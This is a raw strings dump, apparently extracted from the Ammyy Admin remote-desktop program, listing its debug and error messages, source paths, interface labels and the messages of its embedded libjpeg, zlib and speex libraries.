ERROR %d %d in TransportTCP2::ReadExact()#2
ProcessIdToSessionId
WTSGetActiveConsoleSessionId
Error %d in Elevate()
-elevated 
Elevate()
error %d in IsElevated()#2
error %d in IsElevated()#1
SetForegroundWindow()#4 Error %d
SetForegroundWindow()#3 Error %d
SetForegroundWindow()#2 Error %d
SetForegroundWindow()#1 Error %d
Couldn't find proc ChangeWindowMessageFilter
User32.dll
ChangeWindowMessageFilter
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Non-def App
C:\projects\AMMYY\sources
Not defineded error!!!
Error in '%s' #%d
ERROR: Unhandled Exception eip=%.8X esp=%.8X ebp=%.8X
S:\Ammyy\sources\RL\RLEncryptor01.cpp
ERROR %u CRLEvent::Create('%s')
ERROR_ALREADY_EXISTS CRLEvent::CreateOnly('%s')
ERROR: %d CRLEvent::IsEventExist()
ERROR: CRLEvent::IsSet() %d
ERROR: %d RLMutexWin::IsExist()
RLFile::OpenInternal('%s', %s) error=%d
RLFile::Read() %d %d error=%d
RLFile::Write() %d %d error=%d
RLFile::Close() error=%d
RLFile::GetPosition() error=%d
RLHandle::Close() error=%d
RLFileWin::GetSize() error=%d
RLFileWin::Read() error=%d
RLFileWin::Write() error=%d
Content-Type: application/x-www-form-urlencoded
RLHttp::SetOption()#1 option=%d error=%d
RLHttp::SetOption()#2 option=%d error=%d
RLHttp::SendRequest()#9
RLHttp::SendRequest()#8_ERROR
RLHttp::SendRequest()#8 %X %X %X %X
RLHttp::SendRequest()#5
RLHttp::SendRequest()#3
S:\Ammyy\sources\RL\RLHttp.cpp
Can't create log file. Check the permissions.
ERROR in initalize log file name
CRLLog::WriteMsgA() buffer overrun
%.4hd%.2hd%.2hd-%.2hd:%.2hd:%.2hd.%.3hd %.8X - 
%.6f %.8X - 
CLog::WriteMsgA() buffer overrun
ERROR: 
RegOpenKeyExA() error=%u
RegCreateKeyExA() error=%u
RegQueryValueExA() error=%u
RegQueryValueExW() error=%u
IsExistW() error=%u
S:\Ammyy\sources\RL\RLRegistry.cpp
RegSetValueExW(REG_BINARY) error=%u
RegSetValueExA() error=%u
RegDeleteKeyA() error=%u
LockResource() error=%d
LoadResource() error=%d
SizeofResource() error=%d
FindResourceEx() error=%d lpName=0x%X
S:\Ammyy\sources\RL\RLSheet.cpp
Memory allocation %u bytes failed
RLStream::GetRaw out of data %u %u %u
RLStream::GetString1A out of data %u %u
RLStream::GetString1W out of data %u %u
RLStream::GetStream out of data %u %u
RLStream::ReadFromFile('%s') %s
RLStream::ReadFromFile() couldn't open file '%s' error=%d
RLStream::WriteToFile('%s') %s
RLStream::WriteToFile() couldn't create file '%s' error=%d
S:\Ammyy\sources\RL\RLTimer.cpp
S:\Ammyy\sources\RL\other\RLToolTip.cpp
tooltips_class32
S:\Ammyy\sources\RL\other\RLToolTipButton.cpp
BUTTON
S:\Ammyy\sources\RL\RLWnd.cpp
S:\Ammyy\sources\RL\StringA.cpp
S:\Ammyy\sources\RL\StringW.cpp
Ammyy Viewer
S:\Ammyy\sources\viewer\vrClient.cpp
GetMessage() error=%d
Unknow error=%d at OnErrorMsg()#2
Internal Error occurred on the remote side
Error while connect to RDP server on remote side
Failed _beginthreadex() (errno = %d)
Error=%d while SetWindowsHookEx()
ERROR#1 in HookKeyboard()
Show &toolbar
&Full screen	Ctrl-Alt-Shift-F
Screen &refresh	Ctrl-Alt-Shift-R
Connection &encoder
Connection &options
Invalid protocol %u
NOT PROVIDED
Remote computer name "%s"
system=%u, service=%u, elevated=%u
DoDirectConnectOutgoing#2 %u
DoDirectConnectOutgoing#1 %s, %u
Invalid roundtrip
DoDirectConnectIncoming#1 %s, %u
DoDirectConnect() couldn't listen port %d
Trying to establish direct connection
Screen work area is %d x %d
Error %d creating local image of screen size %dx%d
Please wait - initial screen loading
Requesting new pixel format
CloseTransport()#3
CloseTransport()#2 %s
%s in %s
Closing...
WM_CLOSE WndProc1()#2
WM_CLOSE WndProc1()#1
~VrClient() not found object
Error %d in WaitForSingleObject()
CRDP::KillTimer() error=%d
127.0.0.1:
TscShellContainerClass
TSSHELLWND
S:\Ammyy\sources\viewer\../main/Image.h
Vr::WndProc1
Pop up Ammyy application
Send Ctrl+Alt+Del
Send System Keyboard shortcuts
Lock Computer
S:\Ammyy\sources\main\../RL/RLContextMenu.h
v%s  -  build %s
%d x %d
%u bits - %s
%u bits - %s
%u Kb / %u Kb
Remote ID:
Ammyy version:
Ammyy process:
Computer OS:
Computer name:
Desktop size:
Desktop format:
Network format:
Transport:
Traffic:
message from mouse msg=%X wParam=%X, lParam=%X
 keyData %04x 
Losing focus - cancelling modifiers
Vr::SendPointerEvents
SendPointerEvents() x=%d y=%d buttonMasks=%X %X, n=%d
Vr::OnKeyEvent
fake L Ctrl pressed
fake L Alt pressed
fake R Ctrl pressed
fake R Alt pressed
Sent keysym %04x (%s)
release
fake R Alt raised
fake R Ctrl raised
fake L Alt raised
fake L Ctrl raised
Sent %d bytes of clipboard
Error in OnPaint()#2!
Error in OnPaint()#1!
Remote desktop is unavailable
Desktop - off
Voice chat - %s
Sending WM_CLOSE
Update-processing thread finishing %d
Vr::run_un
Unhandled SetColormap message type received!
Unhandled message type=%d received!
Unknown message type x%02x
RunRDPclient()#1
RunRDPclient()#0
Run RDP client
Connected to target
Connecting to host %s
Connecting to router
Update-processing thread started
Unknown encoder=%u
%s dormant mode
Leaving
Entering
Read a %d-byte string
Read remote clipboard change
  writing %d bytes, block=%d
Geometry %d x %d
Wow64DisableWow64FsRedirection
Wow64RevertWow64FsRedirection
ERROR: Failed to run RDP client, error=%d
Wow64DisableWow64FsRedirection %u %X
Wow64RevertWow64FsRedirection %u
ReTranslator::DoSmart() return error=%u
RunRDPclient#4 %d
mstsc was terminated
RunRDPclient#3 detected that mstsc closed
RunRDPclient#2 i=%d
RunRDPclient#1 listen port=%d
RunRDPclient#0
Error in blit ReadCopyRect()!
S:\Ammyy\sources\viewer\vrClientCursor.cpp
Receiving cursor shape update, cursor %dx%d
OnAaPointerMove() x=%d y=%d
To exit from full-screen mode, press Ctrl+Alt+Shift+F.
Alternatively, press Ctrl+Esc and then right-click
on the Ammyy Admin taskbar icon to see the menu.
Ammyy Admin full-screen mode
Time should be in range 0.1-30 seconds
Upload speed=%s bit/sec
Dnload speed=%s bit/sec
Ping time (ms) min-avr-max  %2.2f %2.2f %2.2f   loops=%u
zlib inflateEnd() error: %d %s
(NULL)
VTCT2i encoding: bad data received from server
AAC error: invalid rect type
zlib inflate error: %d
zlib inflateInit() error: %d %s
Error '%s' in DecompressJpegRect()
JPEG invalid dimension %u %u %u %u
VrEncoderJPEG %u
called JpegFillInputBuffer
called JpegSkipInputData
Delete selected object(s) - Del
Create new folder - Ctrl+N
Rename selected object - F2
Copy selected object(s) - F5
Refresh file list - Ctrl+R
LoadLibrary(shell32.dll) Error=%d
shell32.dll
S:\Ammyy\sources\viewer\VrFm1.cpp
Attributes
Last time
S:\Ammyy\sources\viewer\VrFm1.h
Do you want to cancel %s ?
downloading
uploading
Upload
%s %s %5.3f %% speed %5.1f Kb/s %s
%5.3f %%%s
Download
%u:%0.2u
%u:%0.2u:%0.2u
 - File Explorer
S:\Ammyy\sources\viewer\VrFmBlockR.cpp
S:\Ammyy\sources\viewer\../target/TrFmFileSys.h
Try to continue 
Ammyy Admin - 
MS Sans Serif, 8, , 
Invalid scale factor - resetting to normal scale
Argument error
S:\Ammyy\sources\viewer\vrOptions.cpp
catch CStoppingException
S:\Ammyy\sources\target\TrClient.cpp
ConnectingThread()#0
SendOtherInfo()#1
TrClient::Run()#end id=%d 
ERROR SetThreadDesktop(%u) %u
TrClient::Run()#1 '%s'
TrClient::Run()#239
invalid message received : %u
aaComputerLock is forbidden
aaPopupAmmyy is forbidden
get close message with code=%d
ReadInitMsg() remoteId=%u
TrClient::Run()#1 id=%d
OnAaSound()#1 aaSoundClose
AudioChat is forbidden
RDP is forbidden
ERROR new TrDesktop()
Desktop is forbidden
deleting desktop object
aaKeyEvent v1=%u %X %d %d
Mouse dividers not set
TrClient() executing...
deleting transport
~TrClient() executing...
ERROR in TrClient::Kill() '%s'
KillClient(%d)
TrDesktopThread() %s
quitting desktop server thread
ERROR#2 in CaptureFullScreen() 5
CheckUpdates() %s
CheckUpdates()
S:\Ammyy\sources\target\TrDesktop.cpp
This session is out of console
trgDesktop() '%s'.
finished working thread
waiting finish working thread
setting quit event
killing desktop server
Mouse dividers %d %d
ERROR in  SetPalette()
KillScreenSaver...
in InitWindow(), CreateWindow() error=%d
Ammyy_fake_wnd
unable to allocate changes buffer[%d]
attempting to create main and back buffers
AMMYY Target cannot be used with this graphic device driver
InitDesktop()#2
Current session has not console
InitDesktop()#0
Failed to close clipboard
Failed to empty clipboard
Failed to open clipboard
GetThreadDesktop() Error=%d
GetDesktopName() ERROR#2
GetDesktopName() ERROR %d %d
GetUserObjectInformation() error=%d
CloseDesktop(%d) '%s' error=%d
OpenInputDesktop() failed err=%d
Desktop changed to '%s', from='%s'
SetThreadDesktop() error=%d, desktop='%s'
CloseDesktop()#1 error=%d
SCR: new screen format %dx%dx%d
display resolution or desktop changed %X
SendUpdates()#2
SendUpdates()#1
Invalid Quality Level=%d
Invalid Compress Level=%d
Unable to set encoder %u
Encoder %u requested
AAC: ERROR#88
AAC: Unsupported bpp
GetCursorInfo() error=%d
SendCursorShape() %s
incorrect data in cursor bitmap
GetBitmapBits() failed
GetObject() for bitmap failed
cursor bitmap handle is NULL
GetIconInfo() failed %u
Error in GetNetworkFormat()
failed to DeleteObject
failed to DeleteDC(m_hmemdc)
failed to ReleaseDC(m_hrootdc)
ERROR: current display is PLANAR, not CHUNKY
DBG:display context has %d planes!
DBG:memory context has %d planes!
GetDIBits()#2 ERROR=%d
GetDIBits()#1 ERROR=%d
S:\Ammyy\sources\target\TrDesktopCapture.cpp
created memory bitmap
CreateCompatibleBitmap() ERROR=%d
ERROR: memory device doesn't support GetDIBits
ERROR: root device doesn't support BitBlt
CreateCompatibleDC() ERROR=%d
GetDC(NULL) ERROR=%d
unsupported truecolour pixel format for SetPixFormat()
DBG:true-color desktop in SetPixFormat()
initialised palette OK
warning - failed to RealizePalette
SelectPalette() failed.
CreatePalette() failed.
GetSystemPaletteEntries() failed.
error allocating palette
no palette data for truecolour display
enabled fast DIBsection blits OK
failed to build DIB section
unable to allocate main buffer[%d]
failed to build DIB section - reverting to slow blits
source desktop metrics: (%d, %d), %d x %d
ERROR CaptureBitmap() error=%d
CaptureScreen()#5
ERROR#1 GetDIBits() error=%d, y=%d, cy=%d
ERROR#2 in CaptureFullScreen() %u
ERROR#1 in CaptureFullScreen()
CaptureScreen()#1
PollFullScreen()#3
PollFullScreen()#2
S:\Ammyy\sources\target\TrDesktopComparator.cpp
PollFullScreen()#1 bits=%u
S:\Ammyy\sources\target\TrDesktopCopyRect.cpp
PolishRect
TestRect
FreeLibrary() error=%d
S:\Ammyy\sources\target\TrDesktopUtils.cpp
SystemParametersInfo(%X) error=%d
ApplyAll()
WARN: SendMessageTimeout() error=%d
DwmEnableComposition(0) error=%X
DwmEnableComposition
Error %d while load Dwmapi
Dwmapi.dll
DwmEnableComposition(1) error=%X
ERROR in Restore1()#1
Not found desktop '%s'
Winlogon
Unable to allocate client buffer[%d]
failed to allocate memory %d bytes
%s encoder efficiency: %.3f%%
%s encoder stats: data=%d, sent=%d
S:\Ammyy\sources\target\TrEncoder.cpp
deflate() error %d
deflateParams() error %d
deflateInit2() error %d
Hextile
Invalid bpp=%u
View folder %s
<root disks>
FileManager is forbidden
Write file %s
S:\Ammyy\sources\target\TrFm.cpp
Send file %s
Error %d GetFileSizeEx()
S:\Ammyy\sources\target\TrFmFileSys.cpp
Error %d in GetFileSizeEx() for '%s'
Error %d while open file '%s'
SetQuality() invalid value
keyboard key: keysym %d(0x%x) vkCode 0x%x ext %d down %d
ignoring unknown keysym %d
S:\Ammyy\sources\target\TrKeymap.cpp
latin-1 key: keysym %d(0x%x) vkCode 0x%x down %d
ignoring unrecognised Latin-1 keysym %d
fake %d down
fake %d up
SetKeyState %d
TrListener::Free(%u)
Global\Ammyy.Target.IncomePort
Stopped
too many clients already connected
KillClients(%d) done
killing client
S:\Ammyy\sources\target\TrMain.cpp
RemoveClient() done
deleteing client object from memory
in RemoveClient()#1
in TrMain::Start() error=%d
AmmyyAdminTarget3
WM_ENDSESSION wParam=%X lParam=%X
DestroyWindow() error=%d
Stopping
TrMain::Stop1()#%s
S:\Ammyy\sources\target\TrService.cpp
unable to SetThreadDesktop(), error=%d
SelectDesktop failed to close desktop, error=%d
SelectDesktop() failed to select desktop
unable to open desktop name %X, '%s', error=%d
\taskmgr.exe
"SAS window" not found
SAS window class
SAS window
failed to select logon desktop
generating ctrl-alt-del
 -dosas_%u
ProcessIdToSessionId() error=%d
WmsgSendMessage
preparing to generate ctrl-alt-del %X %d
TrTranslator::Init()#2
GetNumBits() ERROR
Error %d while deleting file '%s'
UINT64ToSystemTime
%u.%u.%u.%u
.?AVomni_thread_fatal@@
.?AVomni_thread_invalid@@
UnzipFirstFile()#5
UnzipFirstFile()#4
UnzipFirstFile()#3
UnzipFirstFile()#2
UnzipFirstFile()#1
S:\Ammyy\sources\common\vtcLog.cpp
Log::ReallyPrint() Buffer Overload
Failed to start Sound Capture thread (errno = %d)
StartSound()#3
StartSound()#2
AudioIn::Start: Sound Capture thread is already active
StartSound()#1
S:\Ammyy\sources\main\sound\AudioIn.cpp
AudioIn::Stop(): thread stopped
AudioIn::Stop(): use safe way to stop thread
InitCaptureNotifications error: HRESULT = 0x%x
CreateEvent error: 0x%x
CreateCaptureBuffer error: HRESULT = 0x%x
DirectSoundCaptureCreate error: HRESULT = 0x%x
InitDirectSoundCapture: Sound Capture thread is already active
Sound Capture Thread exiting (exitCode = %u).
Sound Capture Thread is started (param = 0x%x, id = 0x%x)
IDirectSoundCaptureBuffer::Stop() error: HRESULT = 0x%x
CaptureThreadProc()#1
IDirectSoundCaptureBuffer::Start() error: HRESULT = 0x%x
ProcessCapturedData()#2 %u
ProcessCapturedData()#1
AudioIn::Lock error: HRESULT = 0x%x
GetCurrentPosition error: HRESULT = 0x%x
speex_encoder_init error
Failed to start Sound Playback thread (errno = %d)
AudioOut::StartSound() Sound Playback thread is already active
S:\Ammyy\sources\main\sound\AudioOut.cpp
AudioOut::Stop(): thread stopped
AudioOut::Stop(): use safe way to stop thread
OnData() %u
CreateSoundBuffer error: HRESULT = 0x%x
SetCooperativeLevel() error: HRESULT = 0x%x
DirectSoundCreate error: HRESULT = 0x%x
InitDirectSound: Sound Playback thread is already active
speex_decoder_init error
Sound Playback Thread exiting (exitCode = %u).
Sound Playback Thread is started (param = 0x%x)
IDirectSoundBuffer::Stop() error: HRESULT = 0x%x
Play error: HRESULT = 0x%x
Starting...
ERROR in speex_decode: returned value %d
AudioOut::SetFrequency(%u) - ok
SetFrequency(%u) error: HRESULT = 0x%x
AudioOut FillSilence() %d bytes
FillSilence %X %u %u
Lock error: HRESULT = 0x%x
Unlock error: HRESULT = 0x%x
PlayData()#1 %u
Push audio data %d bytes
AudioOut::PlayData()#3 overrun occur, m_nextWritePos=%u %u
PlayData() %u %u %d
IDirectSoundBuffer::Restore() error: HRESULT = 0x%x
AudioOut lost sound buffer. Try to restore...
IDirectSoundBuffer::GetStatus() error: HRESULT = 0x%x
Application transferred too many scanlines
Invalid SOS parameters for sequential JPEG
Corrupt JPEG data: found marker 0x%02x instead of RST%d
Premature end of JPEG file
Warning: unknown JFIF revision number %d.%02d
Corrupt JPEG data: bad Huffman code
Corrupt JPEG data: premature end of data segment
Corrupt JPEG data: %u extraneous bytes before marker 0x%02x
Inconsistent progression sequence for component %d coefficient %d
Unknown Adobe color transform code %d
Obtained XMS handle %u
Freed XMS handle %u
Unrecognized component IDs %d %d %d, assuming YCbCr
JFIF extension marker: RGB thumbnail image, length %u
JFIF extension marker: palette thumbnail image, length %u
JFIF extension marker: JPEG-compressed thumbnail image, length %u
Opened temporary file %s
Closed temporary file %s
  Ss=%d, Se=%d, Ah=%d, Al=%d
    Component %d: dc=%d ac=%d
Start Of Scan: %d components
Start of Image
    Component %d: %dhx%dv q=%d
Start Of Frame 0x%02x: width=%u, height=%u, components=%d
Smoothing not supported with nonstandard sampling ratios
At marker 0x%02x, recovery action %d
Selected %d colors for quantization
Quantizing to %d colors
Quantizing to %d = %d*%d*%d colors
        %4u %4u %4u %4u %4u %4u %4u %4u
Unexpected marker 0x%02x
Miscellaneous marker 0x%02x, length %u
    with %d x %d thumbnail image
JFIF extension marker: type 0x%02x, length %u
Warning: thumbnail image size does not match data length %u
JFIF APP0 marker: version %d.%02d, density %dx%d  %d
        %3d %3d %3d %3d %3d %3d %3d %3d
End Of Image
Obtained EMS handle %u
Freed EMS handle %u
Define Restart Interval %u
Define Quantization Table %d  precision %d
Define Huffman Table 0x%02x
Define Arithmetic Table 0x%02x: 0x%02x
Unknown APP14 marker (not Adobe), length %u
Unknown APP0 marker (not JFIF), length %u
Adobe APP14 marker: version %d, flags 0x%04x 0x%04x, transform %d
Caution: quantization tables are too coarse for baseline JPEG
6b  27-Mar-1998
Copyright (C) 1998, Thomas G. Lane
Write to XMS failed
Read from XMS failed
Image too wide for this implementation
Virtual array controller messed up
Unsupported marker type 0x%02x
Application transferred too few scanlines
Write failed on temporary file --- out of disk space?
Seek failed on temporary file
Read failed on temporary file
Failed to create temporary file %s
Invalid JPEG file structure: SOS before SOF
Invalid JPEG file structure: two SOI markers
Unsupported JPEG process: SOF type 0x%02x
Invalid JPEG file structure: missing SOS marker
Invalid JPEG file structure: two SOF markers
Cannot quantize to more than %d colors
Cannot quantize to fewer than %d colors
Cannot quantize more than %d color components
Insufficient memory (case %d)
Not a JPEG file: starts with 0x%02x 0x%02x
Quantization table 0x%02x was not defined
JPEG datastream contains no image
Huffman table 0x%02x was not defined
Backing store not supported
Requested feature was omitted at compile time
Not implemented yet
Invalid color quantization mode change
Scan script does not transmit all data
Cannot transcode due to multiple use of quantization table %d
Premature end of input file
Empty input file
Maximum supported image dimension is %u pixels
Missing Huffman code table entry
Huffman code size table overflow
Fractional sampling not implemented yet
Output file write error --- out of disk space?
Input file read error
Didn't expect more than one scan
Write to EMS failed
Read from EMS failed
Empty JPEG image (DNL not supported)
Bogus DQT index %d
Bogus DHT index %d
Bogus DAC value 0x%x
Bogus DAC index %d
Unsupported color conversion request
Too many color components: %d, max %d
CCIR601 sampling not implemented yet
Suspension not allowed here
Buffer passed to JPEG library is too small
Bogus virtual array access
JPEG parameter struct mismatch: library thinks size is %u, caller expects %u
Improper call to JPEG library in state %d
Invalid scan script at entry %d
Bogus sampling factors
Invalid progressive parameters at scan script entry %d
Invalid progressive parameters Ss=%d Se=%d Ah=%d Al=%d
Unsupported JPEG data precision %d
Invalid memory pool code %d
Sampling factors too large for interleaved scan
Wrong JPEG library version: library is %d, caller expects %d
Bogus marker length
Bogus JPEG colorspace
Bogus input colorspace
Bogus Huffman table definition
IDCT output block size %d not supported
DCT coefficient out of range
Invalid component ID %d in SOS
Bogus buffer control mode
MAX_ALLOC_CHUNK is wrong, please fix
ALIGN_TYPE is wrong, please fix
Sorry, there are legal restrictions on arithmetic coding
Bogus message code %d
JPEGMEM
need dictionary
incorrect data check
incorrect header check
invalid window size
unknown compression method
invalid bit length repeat
too many length or distance symbols
invalid stored block lengths
invalid block type
incompatible version
buffer error
insufficient memory
data error
stream error
file error
stream end
invalid distance code
invalid literal/length code
incomplete dynamic bit lengths tree
oversubscribed dynamic bit lengths tree
incomplete literal/length tree
oversubscribed literal/length tree
empty distance tree with lengths
incomplete distance tree
oversubscribed distance tree
Packet is larger than allocated buffer: 
Could not resize input buffer: truncating input
Do not own input buffer: truncating input
Packet is larger than allocated buffer: 
Could not resize input buffer: truncating input
Do not own input buffer: truncating input
Buffer too small to pack bits
Could not resize input buffer: not packing
Do not own input buffer: not packing
333?333?
?ff&?O
333?ff&?
.?ff&?
ff&?ff&?
@?333?
narrowband
wideband (sub-band CELP)
ultra-wideband (sub-band CELP)
Unknown nb_mode_query request: 
Unknown wb_mode_query request: 
speex-1.0.4
Unknown wb_mode_query request: 
Fatal error: %s
warning: %s
warning: %s %d
Invalid mode encountered: corrupted stream?
Unknown nb_ctl request: 
Unknown nb_ctl request: